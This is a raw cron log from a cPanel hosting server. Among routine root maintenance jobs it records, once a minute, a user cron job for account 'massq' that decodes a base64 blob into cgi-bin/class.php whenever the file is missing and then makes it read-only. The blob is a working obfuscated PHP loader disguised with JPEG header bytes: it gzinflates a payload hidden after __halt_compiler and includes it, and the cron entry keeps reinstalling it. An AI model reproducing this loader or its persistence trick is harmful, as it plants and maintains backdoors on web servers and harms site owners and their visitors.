Sep  8 13:52:01 server CROND[29721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:52:01 server CROND[29722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:53:01 server CROND[30091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:53:01 server CROND[30092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:53:01 server CROND[30093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:54:01 server CROND[30454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:54:01 server CROND[30456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:54:01 server CROND[30457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:55:01 server CROND[30835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:55:01 server CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:55:01 server CROND[30844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:55:01 server CROND[30843]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:55:01 server CROND[30845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:55:01 server CROND[30847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:55:01 server CROND[30846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:56:01 server CROND[31649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:56:01 server CROND[31650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:56:01 server CROND[31651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:57:01 server CROND[32117]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:57:01 server CROND[32118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:57:01 server CROND[32119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:57:01 server CROND[32120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:58:01 server CROND[32491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:58:01 server CROND[32492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:58:01 server CROND[32493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:59:01 server CROND[408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:59:01 server CROND[409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:59:01 server CROND[410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:00:01 server CROND[826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:00:01 server CROND[827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:00:01 server CROND[828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:00:01 server CROND[834]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 14:00:01 server CROND[837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:00:01 server CROND[843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:00:01 server CROND[841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:00:01 server CROND[846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:00:01 server CROND[840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:00:01 server CROND[845]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 14:01:01 server CROND[1783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:01:01 server CROND[1784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:01:01 server CROND[1785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:01:01 server CROND[1786]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 14:01:01 server run-parts(/etc/cron.hourly)[1786]: starting 0anacron
Sep  8 14:01:01 server run-parts(/etc/cron.hourly)[1806]: finished 0anacron
Sep  8 14:02:01 server CROND[2296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:02:01 server CROND[2297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:02:01 server CROND[2298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:03:01 server CROND[2701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:03:01 server CROND[2702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:03:01 server CROND[2703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:04:01 server CROND[3086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
